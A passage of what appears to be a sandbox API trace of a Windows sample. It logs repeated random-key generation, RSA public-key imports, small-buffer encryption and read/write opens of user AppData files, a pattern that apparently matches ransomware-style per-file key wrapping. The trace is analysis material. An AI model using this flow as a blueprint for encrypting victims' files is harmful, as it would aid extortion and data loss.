szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0299.318] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0299.321] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0299.321] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0299.321] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0299.321] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0299.325] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0299.328] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0299.328] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0299.328] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0299.329] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0299.331] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67ab770) returned 1 [0299.332] CryptGetKeyParam (in: hKey=0x67ab770, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0299.332] CryptEncrypt (in: hKey=0x67ab770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd940000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xd940000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0299.332] GetLastError () returned 0x0 [0299.332] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0299.332] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0299.335] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67ac5b0) returned 1 [0299.335] CryptGetKeyParam (in: hKey=0x67ac5b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0299.335] CryptEncrypt (in: hKey=0x67ac5b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd950000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xd950000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0299.335] GetLastError () returned 0x0 [0299.335] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0299.335] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0299.364] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0299.369] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0299.372] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0299.372] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0299.372] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0299.372] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0299.375] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0299.378] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0299.378] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0299.378] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0299.379] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0299.385] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ad0f0) returned 1 [0299.385] CryptGetKeyParam (in: hKey=0x67ad0f0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0299.385] CryptEncrypt (in: hKey=0x67ad0f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd960000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xd960000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0299.385] GetLastError () returned 0x0 [0299.385] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0299.386] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0299.388] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ad2b0) returned 1 [0299.388] CryptGetKeyParam (in: hKey=0x67ad2b0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0299.388] CryptEncrypt (in: hKey=0x67ad2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd970000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xd970000*, pdwDataLen=0x285e560*=0x100) returned 1 [0299.388] GetLastError () returned 0x0 [0299.388] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0299.388] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0299.390] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0299.394] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0299.397] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0299.397] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0299.397] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0299.397] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0299.401] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0299.403] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0299.403] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0299.403] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0299.404] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4980) returned 1 [0299.406] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ad4f0) returned 1 [0299.406] CryptGetKeyParam (in: hKey=0x67ad4f0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0299.406] CryptEncrypt (in: hKey=0x67ad4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd980000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xd980000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0299.407] GetLastError () returned 0x0 [0299.407] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0299.407] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0299.409] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ad5b0) returned 1 [0299.409] CryptGetKeyParam (in: hKey=0x67ad5b0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0299.409] CryptEncrypt (in: hKey=0x67ad5b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd990000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xd990000*, pdwDataLen=0x285e560*=0x100) returned 1 [0299.409] GetLastError () returned 0x0 [0299.409] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0299.409] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0300.117] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0300.121] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.123] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.123] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0300.123] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.123] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0300.126] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.128] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.128] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0300.128] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.128] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0300.130] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67ad270) returned 1 [0300.130] CryptGetKeyParam (in: hKey=0x67ad270, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0300.130] CryptEncrypt (in: hKey=0x67ad270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd9a0000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xd9a0000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0300.131] GetLastError () returned 0x0 [0300.131] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.131] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0300.133] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67ad9b0) returned 1 [0300.133] CryptGetKeyParam (in: hKey=0x67ad9b0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0300.133] CryptEncrypt (in: hKey=0x67ad9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd9b0000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xd9b0000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0300.133] GetLastError () returned 0x0 [0300.133] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.133] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0300.576] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0300.580] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.582] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.582] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0300.582] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.582] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0300.585] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.587] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.587] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0300.587] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.587] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0300.590] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67add70) returned 1 [0300.590] CryptGetKeyParam (in: hKey=0x67add70, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.590] CryptEncrypt (in: hKey=0x67add70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd9c0000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xd9c0000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0300.590] GetLastError () returned 0x0 [0300.590] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.590] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0300.592] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67adf30) returned 1 [0300.592] CryptGetKeyParam (in: hKey=0x67adf30, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.592] CryptEncrypt (in: hKey=0x67adf30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd9d0000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xd9d0000*, pdwDataLen=0x285e560*=0x100) returned 1 [0300.592] GetLastError () returned 0x0 [0300.592] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.592] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\microsoft\\windows\\inetcache\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0300.625] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0300.629] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.631] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.631] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0300.631] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.631] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0300.634] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.636] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.637] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0300.637] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.637] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0300.640] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ade30) returned 1 [0300.640] CryptGetKeyParam (in: hKey=0x67ade30, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.640] CryptEncrypt (in: hKey=0x67ade30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd9e0000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xd9e0000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0300.640] GetLastError () returned 0x0 [0300.640] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.640] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4980) returned 1 [0300.642] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67adf70) returned 1 [0300.642] CryptGetKeyParam (in: hKey=0x67adf70, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.642] CryptEncrypt (in: hKey=0x67adf70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xd9f0000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xd9f0000*, pdwDataLen=0x285e560*=0x100) returned 1 [0300.642] GetLastError () returned 0x0 [0300.642] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0300.642] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\microsoft\\windows\\notifications\\appdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0300.734] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0300.738] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.740] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.740] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0300.740] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.740] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0300.743] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.745] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.746] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0300.746] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.747] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0300.749] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67adfb0) returned 1 [0300.749] CryptGetKeyParam (in: hKey=0x67adfb0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.749] CryptEncrypt (in: hKey=0x67adfb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda00000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xda00000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0300.749] GetLastError () returned 0x0 [0300.749] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.749] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0300.751] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67adb30) returned 1 [0300.751] CryptGetKeyParam (in: hKey=0x67adb30, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0300.751] CryptEncrypt (in: hKey=0x67adb30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda10000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xda10000*, pdwDataLen=0x285e560*=0x100) returned 1 [0300.751] GetLastError () returned 0x0 [0300.751] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.751] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\microsoft\\windows\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0300.769] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0300.772] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.774] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.775] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0300.775] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.775] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0300.777] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0300.780] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0300.780] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0300.780] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0300.780] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0300.782] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67adc30) returned 1 [0300.782] CryptGetKeyParam (in: hKey=0x67adc30, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0300.782] CryptEncrypt (in: hKey=0x67adc30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xda20000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xda20000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0300.782] GetLastError () returned 0x0 [0300.783] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0300.783] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0300.784] 